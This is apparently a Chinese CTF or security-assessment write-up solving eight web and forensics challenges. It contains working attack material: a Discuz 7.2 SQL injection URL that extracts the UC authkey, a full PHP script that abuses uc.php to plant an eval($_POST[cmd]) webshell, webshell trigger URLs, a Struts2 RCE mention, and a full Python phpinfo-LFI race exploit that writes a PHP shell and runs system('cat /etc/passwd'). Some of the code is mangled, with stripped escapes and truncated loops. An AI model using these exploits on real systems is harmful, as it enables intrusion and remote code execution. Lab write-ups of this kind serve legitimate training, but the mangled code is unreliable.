第一题
实在不会做取证 主要不会用wireshark
不过登陆一般都是post请求 筛选出post请求的数据包
http.request.method==POST
记录一下各种 避免下次又不会
http.request.uri contains "xiaoma"
找出uri包含xiaoma的记录 然后追踪http流差不多
得到各种post包
追踪数据流,发现username 只有最后三位不同
直接爆破提交平台(yes 提交平台)最后得到115为正确的username //分析流量不知道分析啥,感觉包长都一样啊
第二题
恶意代码分析
首先给参数1一个值为GET.fPZ87
此时会给t.php追加内容(不存在t.php时,会创建一个t.php) ,之后会将t.php $_GET[2] 参数中的ilo替换成ass vey替换成ert
所以当t.php?2=ilovey时,会得到t.php?2=assert($_POST[1])
所以先访问 http://39.98.84.199:40254//include/mysql_conn.php?1=GET.fPZ87
在访问http://39.98.84.199:40254//include/t.php?2=ilovey即可
菜刀链接 密码1
第三题
文件上传的题目 没有存图 写下思路
首先访问admin/upload.php
发现访问跳转 burp抓包得到数据包
GET /admin/upload1.php HTTP/1.1 Host: 39.98.39.234:40455 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: uploadmd5=xxxxxxxx.txt Connection: keep-alive
发现cookies处很奇怪,改成文件名后泄露源码, 存在文件包含
于是包含upload1.php,代码中得到处理上传文件的文件名为 upload_file.php
于是继续包含upload_file.php
得到form表单代码
写入本地html文件 把action地址写入公网地址
这里注意把hidden属性删除,不然表单没有地方填verity
打开后上传php一句话 显示上传成功
此时就是找路径了 继续包含 得到代码
最终根据代码构造得出路径 uploadfile/20200408_123_2.php
第四题
打开网站是dz7.2
找了下漏洞存在注入
接着获取uckey
http://116.63.129.60:52461/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
这里记得分两段读取uckey 麻辣隔壁 我说我的exp怎么不能传shell 之后把authkey后的1,62改成63 64 读取完后
写入之前留着的exp即可
<?php $timestamp = time()+10*3600; $host="116.63.129.60:52461"; $uc_key="t9V5qfdeJ9z1M2v6z4Q33cs8gcBbO6P8V78952oeE070E4Ndkee7cbm718tf63z4"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='xxx');eval($_POST[cmd]);//'; $cmd2='aaa'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1rn"; $message .= "Accept: */*rn"; $message .= "Referer: ".$host."rn"; $message .= "Accept-Language: zh-cnrn"; $message .= "Content-Type: application/x-www-form-urlencodedrn"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn"; $message .= "Host: ".$host."rn"; $message .= "Content-Length: ".strlen($cmd)."rn"; $message .= "Connection: Closernrn"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i 0) && substr($result, 10, 16) == substr(md5(substr ($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
然后连接 config.inc.php文件 密码是上面设置的一句话cmd
第五题
cve-2013-2251
用st2工具直接rce即可
第六题
访问网站 点击提交的时候抓包
key在返回包的header里
(这种题也来考核吗 失语)
第七题
文件包含题
扫描得备份文件www.zip,里面有lfi.php 与phpinfo.php
分析:
lfi文件中有file参数可包含其他文件 如 /etc/passwd 这里得到了网站目录 /var/www/html/
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]。
这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件(可以理解条件竞争吗),然后文件包含:
1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;
2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大
3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接
4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除
6)我们可以利用这个时间差,成功包含临时文件,最后getshell
尝试phpinput data等协议都没用然后尝试利用phpinfo.php文件上传shell
POC代码:
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%sr <?php file_put_contents('/tmp/g', '')?>r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714r Content-Disposition: form-data; name="dummyname"; filename="test.txt"r Content-Type: text/plainr r %s -----------------------------7dbff1ded0714--r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r HTTP_ACCEPT: """ + padding + """r HTTP_USER_AGENT: """+padding+"""r HTTP_ACCEPT_LANGUAGE: """+padding+"""r HTTP_PRAGMA: """+padding+"""r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r Content-Length: %sr Host: %sr r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r User-Agent: Mozilla/4.0r Proxy-Connection: Keep-Aliver Host: %sr r r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) = self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0rnrn"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) = maxattempts: break print if e.is_set(): print "Woot! m/" else: print ":(" except KeyboardInterrupt: print "nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
但是这里的目录有误 从之前获取的系统路径修改脚本 然后运行成功后 我们就上传了文件在tmp目录下
/lfi.php?file=/tmp/g&1=system(%27cat%20/etc/passwd%27); 最终可以执行系统命令rce了
第八题
取证题
在第一题的基础上 也是xiaoma.php 最终解码base64 获取身份证号
后续
还有两题没时间看 静态界面 找不到利用点 不过也算是过了考核